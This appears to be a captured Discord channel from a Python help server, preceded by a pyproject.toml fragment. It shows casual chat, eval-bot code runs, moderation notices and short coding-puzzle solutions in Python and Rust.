  "orjson == 3.9.15",
  "rustimport == 1.3.4",
  # conditional
  "uvloop~=0.19.0; sys_platform != 'win32' and platform_python_implementation == 'CPython' and platform_machine != 'armv7l'",
  "watchdog == 4.0.1",
]

[project.optional-dependencies]
"templating" = ["jinja2 == 3.0.1"]

[project.urls]
Documentation = "https://robyn.tech/"
Repository = "https://github.com/sparckles/robyn"
Issues = "https://github.com/sparckles/robyn/issues"
Changelog = "https://github.com/sparckles/robyn/blob/main/CHANGELOG.md"

[project.scripts]
robyn = "robyn.cli:run"
test_server = "integration_tests.base_routes:main"

[dependency-groups]
dev = [
  "black==23.1",
  "commitizen==2.40",
  "isort==5.11.5",
  "maturin==0.14.12",
  "pre-commit==2.21.0",
  "ruff==0.1.3",
]
test = [
  "nox==2023.4.22",
  "pytest==7.2.1",
  "pytest-codspeed==1.2.2",
  "requests==2.28.2",
  "websocket-client==1.5.0",
]
timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @remote grove until <t:1747676454:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @severe saddle until <t:1747678532:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

primal bison
#

Bro it's ilke people want this 😭

#

That's so sad

violet mulch
paper quartz
violet mulch
#

ruff is a linter and a formatter

#

you still need a type checker

#

I use pyright

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @hazy field until <t:1747711281:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

spice ridge
#

!e
1=2

timid fjordBOT
# spice ridge !e 1=2

:x: Your 3.12 eval job has completed with return code 1.

001 |   File "/home/main.py", line 1
002 |     1=2
003 |     ^
004 | SyntaxError: cannot assign to literal here. Maybe you meant '==' instead of '='?
spice ridge
#

!e
range(10)

timid fjordBOT
spice ridge
#

!e
print(range(10))

timid fjordBOT
spice ridge
#

!e""
print("hello,world")
"""

timid fjordBOT
#
Did you mean...

» enumerate
» exit()
» environments
» envs
» empty-json
» for-else
» except
» equals-true
» on-message-event

spice ridge
#

!e
'''
print("message")

'''

#
print("hello"*3)
#

!e


print("hello"*3)

timid fjordBOT
spice ridge
#

!e

def add(a,b):
  return sum(a,b)
print(add(2,3))
timid fjordBOT
# spice ridge !e ``` def add(a,b): return sum(a,b) print(add(2,3)) ```

:x: Your 3.12 eval job has completed with return code 1.

001 | Traceback (most recent call last):
002 |   File "/home/main.py", line 3, in <module>
003 |     print(add(2,3))
004 |           ^^^^^^^^
005 |   File "/home/main.py", line 2, in add
006 |     return sum(a,b)
007 |            ^^^^^^^^
008 | TypeError: 'int' object is not iterable
timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @rocky zinc until <t:1747765556:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

fluid burrow
#

hello guys

spare swallow
#

hi guys

astral holly
#

Hi

#

I have an issue with my code

timid fjordBOT
#
Formatting code on Discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

light magnet
#

please how to resolve this

random sluice
#

Hi everyone,
Hope you're having a great week! Your creativity and energy shine through in everything you do.
I’d be excited to collaborate and offer you a simple method that can help you achieve more with less effort.
Let’s talk if you’re open to it.
Best

solemn dock
#

hello who can help me

sonic kraken
#

'''py
print("hello")
'''

#

How to use this

spice ridge
#

    def __init__(self,name,color): # init is used to initialize a class ,self is parameter which represents the object 
        self.name = name # this are class attributes,any object like dog have attribute like a name  
        self.color = color 
    def walk(self): # this method are function ,which are function a object can do, in real life a dog can walk but can't fly 
        print(f"{self.name} is walking ") # self is object which is passed to the class 
    def fly(self):
        print(f"{self.name} is flying")
dog = Animal("dog","black") # this how you  a create instance of class in python
parrot = Animal("parrot","blue") # created another object like dog but different name called parrot 
dog.walk() 
parrot.fly()
"""
 class is  a collection of similar object in python , an example of class can be birds , Animal ,human
 there are different variety of birds like parrot,crow,etc... which are similar,right all birds can perform function like flying , eating, or make noise
 there are different variety of Animal like dog,cow,

 All animal are similar and they perform similar function 
"""
junior nexus
timid fjordBOT
#
Formatting code on Discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @quiet summit until <t:1748256610:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

waxen meteor
#

!clod

#

!code

timid fjordBOT
#
Formatting code on Discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @buoyant lynx until <t:1748286218:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

leaden blaze
#

hii

hidden mantle
#

Hey

broken sail
#

Hello

timid fjordBOT
#

:incoming_envelope: :ok_hand: applied timeout to @brittle dust until <t:1748518347:f> (10 minutes) (reason: duplicates spam - sent 4 duplicate messages).

The <@&831776746206265384> have been alerted for review.

waxen meteor
#

print("hello there")

#

-an random people says that

austere badge
#

!code admin_request = 1
backpack = 2
send_money = 3

AppList = int(input("Enter the number of app you want: "))

if AppList == admin_request:
input("What message do you want to send: ")
print("Your message has been successfully delivered")

elif AppList == backpack:
input("You have food and a pistol. What do you want to pick: ")

elif AppList == send_money:
input("What is the amount of money you want to send (the money will be converted to the closest player to you):")
print("Your money has been successfully delivered")

timid fjordBOT
#
Formatting code on Discord

Here's how to format Python code on Discord:

```py
print('Hello world!')
```

These are backticks, not quotes. Check this out if you can't find the backtick key.

For long code samples, you can use our pastebin.

austere badge
#

how tf yall use this

night lily
#

!e ```py
print('Hello, world.')
print('Goodbye.')

timid fjordBOT
static fulcrum
#

!e ```py
import os
print(os.listdir("../"))

timid fjordBOT
static fulcrum
#

!e ```py
from os import listdir as ld
for i in ld("../"):
print(ld(f"../{i}/"))

timid fjordBOT
# static fulcrum !e ```py from os import listdir as ld for i in ld("../"): print(ld(f"../{i}/")...

:white_check_mark: Your 3.13 eval job has completed with return code 0.

001 | ['main.py']
002 | ['shm']
003 | ['python']
004 | ['lib']
005 | ['requirements', 'user_base', 'config', 'scripts']
006 | ['ld-linux-x86-64.so.2']
007 | ['os-release', 'tmpfiles.d', 'udev', 'lsb', 'x86_64-linux-gnu', 'mime', 'systemd', 'dpkg', 'locale', 'init', 'terminfo', 'apt', 'compat-ld', 'sasl2', 'git-core', 'gcc', 'gold-ld', 'cpp', 'bfd-plugins', 'ssl']
008 | ['ld.so.cache']
static fulcrum
#

!e ```py
from os import listdir as ld
print(ld("../lib/ssl"))

timid fjordBOT
static fulcrum
#

lol

austere badge
timid fjordBOT
tropic steeple
primal bison
#

hay guys

#

wassup

violet spear
#

Hey There!!

visual horizon
#

hi

shadow solar
#

what are you guys doing here

timid fjordBOT
#

:white_check_mark: Your 3.13 eval job has completed with return code 0.

Most likely.
primal bison
#

hi

timid fjordBOT
#
Type hints

A type hint indicates what type a variable is expected to be.

def add(a: int, b: int) -> int:
    return a + b

The type hints indicate that for our add function the parameters a and b should be integers, and the function should return an integer when called.

It's important to note these are just hints and are not enforced at runtime.

add("hello ", "world")

The above code won't error even though it doesn't follow the function's type hints; the two strings will be concatenated as normal.

Third party tools like mypy can validate your code to ensure it is type hinted correctly. This can help you identify potentially buggy code, for example it would error on the second example as our add function is not intended to concatenate strings.

mypy's documentation contains useful information on type hinting, and for more information check out this documentation page.

turbid prairie
#

At what point should i stop adding shit to my discord bot built for one server? i already have over 1200 lines

sonic socket
#

Just keep on adding cool stuff and try to make it more and more advanced each time

#

Maybe do an economy system with global features like boost, trading, events, etc

#

server wide things

#

learn shards etc

turbid prairie
#

mind if i add you @sonic socket for just some advice

unborn sorrel
#

!stream 313797258200219648

timid fjordBOT
#

✅ @atomic phoenix can now stream until <t:1749163493:f>.

limber sedge
#

print("HelloWorld")

light quartz
#

uhhh, si there some fast way to get verified?

turbid prairie
#

wht yall up to?

toxic frost
#

Hello

turbid prairie
#

!e

timid fjordBOT
#
Missing required argument

code

turbid prairie
#

!e
print(5)

timid fjordBOT
solid dawn
#

!e
import random
import string
import time

def random_string(length=100):
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

while True:
print(random_string())
time.sleep(0.01)

timid fjordBOT
# solid dawn !e import random import string import time def random_string(length=100): r...

:x: Your 3.13 eval job timed out or ran out of memory.

001 | qqIDw6NCkBOwPg2dpGITXYun7lC3Kqf0WzVQhwomH5L4PF2Chea5QcK4rOiJrpdaJEOnj7BlduBRuHYJSeGiDGzmgkTLi9JgRru8
002 | U4X8B6EYqq7wh8sq96MaiPM6BpTj1XMbp5p4tDGSFWm4j6FoFc6c9cSFQzhapakTTOJEdL6Ou5PEAfLK4ufD1qgK1tJmwMPeUo9Y
003 | MwLxBauJNw9KVXNPO4AO9RMQB6f5V8LxiJTYPy9p5ccGY3dawrvqKv7jBsGQIz09V0NnxwBQIlm7AtwzCUdrdhnyV6Cy1k7lIp9I
004 | sZOIPYQCIJn3CAVUEWvy7E5lwlUYK8uty0GtTecIYiOa3xr8sGMUGbpp19A0uLHtrG4CCrkdMN5uP4yNgBFTjFeQ7guWBHQOg3Da
005 | iDlqoYiFsWE4o5iTKWUO9YAvBvoFKOYmu4Xb53kGwiovnuzmYbZGGfwO8XSLCT0KcShSCkOPViohOrg7r4cmk8yvA09bQ3UUsn6S
006 | fpyamATkPl1PRQZbJ2U2wqfhGj1sktDwLr4QsCGYrDJ7DPT04VQif4zWiXBfOLSSbMKg6Wda97dOFWaNhYsb9oRo7j0UrzoaFnMT
007 | HP3ZDHSFNPRnfHidqBDI9fsDFsIsUdmMBq9dZAIAw40PggawXFSDrtpC3GaRv58F8CMhZNEBWIsNkEQj58cpw7LlLdBrKxYEDXS8
008 | 1GnciyjIXNBr56hlwVKTgKrkbYGWin17GsxAqKgnenrrBgL5kt4bvxjmiYN7UnBDSy8szr8KszVwBRWVEI6bVoBEPwCEsABykjMy
009 | RCeyWjAUUitUuXCKMWWD5bVzGwDcyjgpktzyW7p8iirg4zrU7kv6XcaHF5UlfyG7rHIvjjcan0yGzfiRWlvyLAFH8RzyY43CqsOJ
010 | ESf78d10FJW07BiMcdvk2dd4S34oikF
... (truncated - too long, too many lines)

Full output: https://paste.pythondiscord.com/EN2VHPIUHXE5AUJXIEZ5M7WGPM

solid dawn
#

lol

subtle lava
#

wait can i actually code here

#

!e
string_i_guess = "muhehe"
print(string_i_guess)

timid fjordBOT
subtle lava
#

yooo

#

this is actually sickk

#

!e
from random import randint

timid fjordBOT
subtle lava
#

!e
from random import *
from random import randint

myNum = randint(1, 10)

print(myNum)

timid fjordBOT
subtle lava
#

yayayayay

brave dagger
#

you can do way shorter with ctypes i assume but this one's funnier

viral shuttle
#

i just got up and im feeling sleepy as fuck

timid fjordBOT
#

:white_check_mark: Your 3.13 eval job has completed with return code 0.

test
manic tiger
#
class Solution:
    def stableMountains(self, height: List[int], threshold: int) -> List[int]:
        result = []
        for i, mountain_height in enumerate(height):
            if mountain_height > threshold:
                result.append(i + 1)
        if result and result[-1] == len(height):
            result.pop()
        return result

I think this is better as a solution to the stated problem, yours is more likely to be more maintainable though assuming changing requirements

#

@atomic phoenix

radiant apex
#

hi

#

i need some advice

dull anvil
#

@atomic phoenix audio works

#

[i for i, x in enumerate(map(threshold.__lt__, height), 1) if i != len(height) and x]?

#

I was going to do it loopless but it didn't work

#
list(filter(len(height).__ne__, map(itemgetter(0), filter(itemgetter(1), enumerate(map(threshold.__lt__, height), 1)))))
#

no loops

#

this shouldn't be there

#

it should have small numbers and giant input arrays

dull anvil
#

is there an existing library to do this

function useHistory(init) {
  const [history, setHistory] = useState([init]);
  const [index, setIndex] = useState(0);
  const current = history[index];
  const undo = index <= 0 ? undefined : () => setIndex(index - 1);
  const redo = index >= history.length - 1 ? undefined : () => setIndex(index + 1);
  const push = (next) => {
    setHistory([...history.slice(undefined, index + 1), next]);
    setIndex(index + 1);
  };
  return { current, undo, redo, push };
}
#

I have almost this in production

#

for a structured editor

#

so I can ctrl+z even if it's not a text editor

#

there is an alternative implementation with a single useState

#

which makes it so that undo, redo and push don't change

dull anvil
#

(now fixed)

#

I'm thinking whether or not to download CLion

#

now that it's free for non-commercial

#

Rider I do use for non-commercial things

#

too early for me to use RustRover

#

still an early stage development product

#

if some tool can give diagnostics in the IDE, it should also work in CI

#

"you should be able to jq/sed/grep the lints"

#

(the output of the linter)

#

||```py
```||

#

@neon portal I've heard of GitPod

#

from back when it didn't have "AI" on the front page

#

!d itertools.accumulate

timid fjordBOT
#

itertools.accumulate(iterable[, function, *, initial=None])```
Make an iterator that returns accumulated sums or accumulated results from other binary functions.

The *function* defaults to addition. The *function* should accept two arguments, an accumulated total and a value from the *iterable*.

If an *initial* value is provided, the accumulation will start with that value and the output will have one more element than the input iterable...
dull anvil
#

to check the name of initial

#

||```python
acc = list(accumulate(nums, initial=0))
return sum(map(
sub,
map(acc.getitem, range(1, len(nums) + 1)),
map(acc.getitem, map(partial(max, 0), starmap(sub, enumerate(nums)))),
))

#

empirically universal

#

hmm

#

I can do better

#

||```py
sum(starmap(sub, map(partial(map, list(accumulate(nums, initial=0)).getitem), enumerate(map(partial(max, 0), starmap(sub, enumerate(nums))), 1))))

#

one line no loops

#

something is clearly wrong with the layout

#

starmap almost always means a hacky solution

#

map(partial(map looks like something reusable

#

||```rust
let mut set: std::collections::BTreeSet<_> = nums.into_iter().enumerate().map(|(i, x)| (x, i)).collect();
std::iter::from_fn(| | Some(set.pop_last()?.0 + set.pop_first()?.0)).min().unwrap() as f64 / 2.0

#

I just did what the problem statement tells to do

#

(well, almost)

#

why

#

it's named differently

#

also which average

#

do it in Rust, get 0ms

dull anvil
#

within sane-ish limitations

#

effective enterprise solution

#

||```rust
nums.sort_unstable();
let mut iter = nums.iter();
std::iter::from_fn(| | Some(*iter.next_back()? + *iter.next()?)).min().unwrap() as f64 / 2.0

#

@atomic phoenix you misread the problem statement

dull anvil
dull anvil
#

since it tells you to create a temporary array/list

#

and fill it with averages

#

||```rust
nums.sort_unstable();
nums.iter().copied().zip(nums.iter().copied().rev()).map(|(a, b)| a + b).min().unwrap() as f64 / 2.0

#

technically works

#

@atomic phoenix btw, collect into a BTree{Map,Set} makes a temporary Vec first

#

since that's more efficient both in compute and, in worst case, in memory

dull anvil
#

you can just convert to float first, you don't need to protect against overflow that way

dull anvil
#

audio works

#

maybe LLMs are overtrained on concrete data

#

so can't do abstract thinking

#

codewars is really trying to convince me to solve stuff

#

very slow connection to the website for some reason

#

who made that signature

#

why

#

why is the C++ version taking an &

#

whereas in Rust it's usually owned Vec

#

I guess just some problems (ones which expect you to mutate the list) aren't supported for Rust

dull anvil
#

my solution doesn't fit in the message

#

good enough

#

cannot run "analyse complexity" thing unfortunately

brazen wave
dull anvil
#

within those limits

#

with limits this low, complexity doesn't matter as much yet

#

(computational complexity)

#

!d bisect

timid fjordBOT
#

Source code: Lib/bisect.py

This module provides support for maintaining a list in sorted order without having to sort the list after each insertion. For long lists of items with expensive comparison operations, this can be an improvement over linear searches or frequent resorting.

The module is called bisect because it uses a basic bisection algorithm to do its work. Unlike other bisection tools that search for a specific value, the functions in this module are designed to locate an insertion point. Accordingly, the functions never call an __eq__() method to determine whether a value has been found. Instead, the functions only call the __lt__() method and will return an insertion point between values in an array.

dull anvil
#

that

#

with all symmetric pre-computed

#

@brazen wave it should have shared nodes

#

a semi-lattice not a tree

brazen wave
#
class Solution:
    def findClosest(self, x: int, y: int, z: int) -> int:
        d = abs(x-z) - abs(y-z)
        if d < 0:
            return 1
        elif d > 0:
            return 2
        else:
            return 0
dull anvil
#

✨magic✨

#

it used to be just a slower if

#

then it got optimised

#
match (x-z).abs() - (y-z).abs() {
    ..=-1 => 1,
    0 => 0,
    1.. => 2,
}
#

why is dragging a link from a browser into the other almost crashing everything each time

brazen wave
dull anvil
#

just a year away every year

atomic phoenix
#
class Solution:
    def clearDigits(self, s: str) -> str:
        stack = []
        for char in s:
            if char.isdigit():
                if stack:
                    stack.pop()
                else:
                    stack.append(char)
            else:
                stack.append(char)
        return "".join(stack)
dull anvil
#
let mut bytes: Vec<u8> = s.into();
let mut l = 0;
for r in 0..bytes.len() {
    if (b'0'..=b'9').contains(&bytes[r]) {
        l -= 1;
    } else {
        bytes[l] = bytes[r];
        l += 1;
    }
}
bytes.truncate(l);
return String::from_utf8(bytes).unwrap()
#

temp2

#

Google finally moved the " """AI""" 'Overview' " below actual relevant answers

#

(looking up macro rules reference again)

#

((unrelated to leetcode))

#

I would opt out if there was an option, even if it's some rare feature

hoary cobalt
#

All the intermediate tokens are mildly hallucinatory too

glacial hill
#

!import_token

primal bison
#

Hi to all

primal bison
#

Hellow

strange elm
#

hello

gilded gulch
#

hello guys
i am looking for someone good at python turtle

worthy token
#

@viral forge

#

!compile #include <iostream>

int main() {
std::cout << "[]";
return 0;
}

bold hull
wild ermine
#

im done

#

mission failed miserably

merry glen
dull anvil
#

VSCode and some other IDEs add a red marker to the scrollbar on each non-0 exit

merry glen
#

Wow that’s very cool

wild ermine
#

freaking hard ngl but i made it through at least 1 anyways

merry glen
#

Vim is better

dull anvil
#

ed is best

royal forum
#

hello

pearl root
#

Hello guys

zenith comet
#

Hlo

zealous flame
#

Hi

quartz hull
#

Hi

manic vault
#

why can't I type or talk in vc

night lily
timid fjordBOT
#
Voice verification

Can’t talk in voice chat? Check out #voice-verification to get access. The criteria for verifying are specified there.

undone vessel
#

ha ! I just started the advent of code 2024 ( from the official website). Well it is my first time doimg it. It seems fun I have 3 days done... I see that we have an aoc-spoilers forum here too. Im doing it in Python, and I might try few days in C, C++ ...

halcyon mason
#

@undone vessel keep it up - I tried talking to you in VC but you were AFK I guess

undone vessel
#

Advent of Code, Day 4 2024 BEWARE ! This is a terrible Spoiler !!!! It contains very bad ideas 😛 ||```py

with open(src) as f:
lines = [s.strip() for s in f if s.strip() != '']

d = {
'n':[(0,0,'X'),(0,-1,'M'),(0,-2,'A'),(0,-3,'S')],
'ne':[(0,0,'X'),(1,-1,'M'),(2,-2,'A'),(3,-3,'S')],
'e':[(0,0,'X'),(1,0,'M'),(2,0,'A'),(3,0,'S')],
'se':[(0,0,'X'),(1,1,'M'),(2,2,'A'),(3,3,'S')],
's':[(0,0,'X'),(0,1,'M'),(0,2,'A'),(0,3,'S')],
'sw':[(0,0,'X'),(-1,1,'M'),(-2,2,'A'),(-3,3,'S')],
'w':[(0,0,'X'),(-1,0,'M'),(-2,0,'A'),(-3,0,'S')],
'nw':[(0,0,'X'),(-1,-1,'M'),(-2,-2,'A'),(-3,-3,'S')]
}

cstrt = 'X'

ayx = []
for s in lines:
ayx.append(list(s))

axs = len(ayx[0])-1
ays = len(ayx)-1

ar = 0
for y in range(ays+1):
for x in range(axs+1):
if ayx[y][x] == cstrt:
for o in d.keys():
if all([0 <= x+a <= axs and 0 <= y+b <= ays for a,b,c in d[o]]):
if all([ayx[y+b][x+a] == c for a,b,c in d[o]]):
ar +=1

print(ar)
#2507

#

lol I should implement something more generic, like a 2d research pattern ...

#

but this is a quick solution ...

supple olive
#

cant speak @primal bison

#

@primal bison nah its because quite time

#

I shal never forgtive you 😄

#

idk

#

you have youtube?

#

link me

primal bison
#

Nooo lol

#

😭

supple olive
#

what are you doing on youtube?

primal bison
supple olive
#

cewll

undone vessel
dull anvil
#

to hide the code

#

||```py
print("spoilers")

undone vessel
#

this have been solve zillion of time so it is not really a spoilers anymore lol

dull anvil
#

it's not a "what happens in a movie" type spoiler

#

just like with leetcode, the point is largely about solving these for yourself without prior hints

#

so sharing solutions is spoiling that experience

undone vessel
#

ok I can remove my message also 🙂

#

Thanks for the hint to how to hide stuff 🙂

gilded spindle
#

please verify my voice and give me voice permission

brittle yacht
gilded spindle
brittle yacht
gilded spindle
#

the voicechat text 1 and 0 is group chat or not

brittle yacht
#

Not sure abou t it

gilded spindle
brittle yacht
#

maybe

gilded spindle
brittle yacht
#

Before I didn't have.

#

But didn't tried still yet

#

Not sure

hexed tendon
#

what are you building @rich moss

scenic pier
#

@sand dock why i can't speak here

narrow tiger
#

Hello

#

is

#

any

#

one

#

there

#

here

#

?

frozen badger
#

yes i am

restive veldt
#

Visual Studio is better for humans because it offers a user-friendly interface, powerful debugging tools, and intelligent code suggestions. It supports multiple languages, making development easier and faster. With built-in Git support and extensive extensions, it improves productivity. Beginners benefit from its guided features, while professionals enjoy its advanced capabilities for building complex applications efficiently.

wild blade
#

soo

#

👍

lime vapor
#

he

shell escarp
#

Hello , How can I learn python-telegram-bot ?

#

I need a recommended resource or something like that

restive veldt
#

i \

#

b

#

i be so real it depends you know

#

like person to person because some people find it useful

#

and some people find it not useful

torpid shoal
#

I have a academic data i want to analyse data can anyone help me?

hearty ingot
loud bay
#

hi anyone here?

dull parcel
#

Yo

#

Sup Bro

dull parcel
loud bay
#

@delicate hearth

lime vapor
#

guys i have 14 days bannd pn vioce chat can sombody halpv

dull anvil
lime vapor
#

unmute

#

it have been 3 days from the ban

dull anvil
#

what happened?

loud bay
#

@delicate hearth can you join vc?

delicate hearth
dull anvil
#

hi Vivek

delicate hearth
delicate hearth
keen berry
#

YOOOOO

twilit quarry
#

how do i code my ip address to a public database?

finite depot
#

i need a snake code pls dm me

mighty patrol
#

h

#

e

#

l

#

l

#

o

primal bison
#

explain?

dull anvil
dire kayak
feral imp
#

42/50 and you kind of lost me a bit

#

wait mb

copper axle
#

Mandem

north linden
#

Hi

quick sage
#

hi can anyone help me with problem on python?

fiery garden
#

hey m8

#

whats goig on

long field
#

@brazen wave hello?

ruby orbit
#

hello

#

you're fine lol

#

im doing good

#

coding my first big project

#

im making a program to help me with a game since i have arthritis and after so long my wrists hurt really badly

#

no im letting it run in console and utilizing import keyboard and pynput mouse controller and button for it

#

yes

#

Thank you :D

#

i made a discord bot once

#

it was fun

brazen wave
#

@ruby orbit what's "Ado" ?

ruby orbit
#

ado is a japanese singer

brazen wave
#

yes I can hear you

ruby orbit
#

hold on i need to leave vc and eat dinner

#

ill be back later

brazen wave
#

no disturbance, I'm all good

#

I wasn't even here

#

yes it's me

#

reading, solving

random sable
#

So basically internships @brazen wave

#

@long field are you a first yr cs major by chance ?

#

ohh fair.

brazen wave
ruby orbit
#

Im back

brazen wave
ruby orbit
#

Hello

#

I'm working on my first big project

#

I'm coding right now

#

but i havent been in this server long enough to stream yet

#

Hello

#

its just us again

#

I feel you on that

#

Its funny looking back to when i first started it was originally some joke between me and my friend and he made me try to solve a coding problem in python which eventually spiralled to me falling in love with coding

#

Now im working on learning how to code basic programs and then ill start learning the gui stuff

#

im currently in my project sitting at 369 lines of code

past zenith
#

If anyone knows how to band their Instagram account then please tell me

#

@obtuse nebula

past zenith
#

Possible or not possible

strange flicker
#

Hi,

I've been coding for 5 months, I just started Leetcode but its mindblowing hard. I don't know how to code the solutions. I started with freecodecamp. Then I code on my own for a bit and practised Excel automation.

Any tips regarding Leetcode?

primal dragon
#

Hi! I’m new to coding. Can anyone guide me on where to start? Thanks! 😊

timid fjordBOT
#
Resources

The Resources page on our website contains a list of hand-selected learning resources that we regularly recommend to both beginners and experts.

violet jungle
#

!pip

timid fjordBOT
hearty fractal
#

Can yall rate my code?

name = input("What's your name? ")
day_feeling = input(f"Hello {name}, how's your day? ")

if day_feeling == "Bad":
    day_feeling_bad = input("Why is it bad? ")
    if day_feeling_bad == "Idk":
        print("That's fine, some people might not remember why they feel bad.")
    else:
        print(f"I hope things get better soon, {name}.")

if day_feeling == "Great!":
    print("That's awesome! Keep up the good vibes!")

if day_feeling == "Good":
    print("Glad to hear that! Hope it continues to be good.")


if day_feeling != "Bad" or day_feeling != "Good" or day_feeling != "Great":
  print("That's a weird mood! Thanks for sharing!")
long wraith
pure mural
daring pine
#

I made a snake with the pygame module and the snake warps around the walls what should I modify for the graphics, I want to add some cool graphical things but I don't know what!

#

hey

native pier
#

try adding a counter for the apples

dull anvil
#

@cunning star "you're in a safe room with a Rust fanatic, feel free to be overly positive about the language"

#

micropython exists

daring pine
#

hi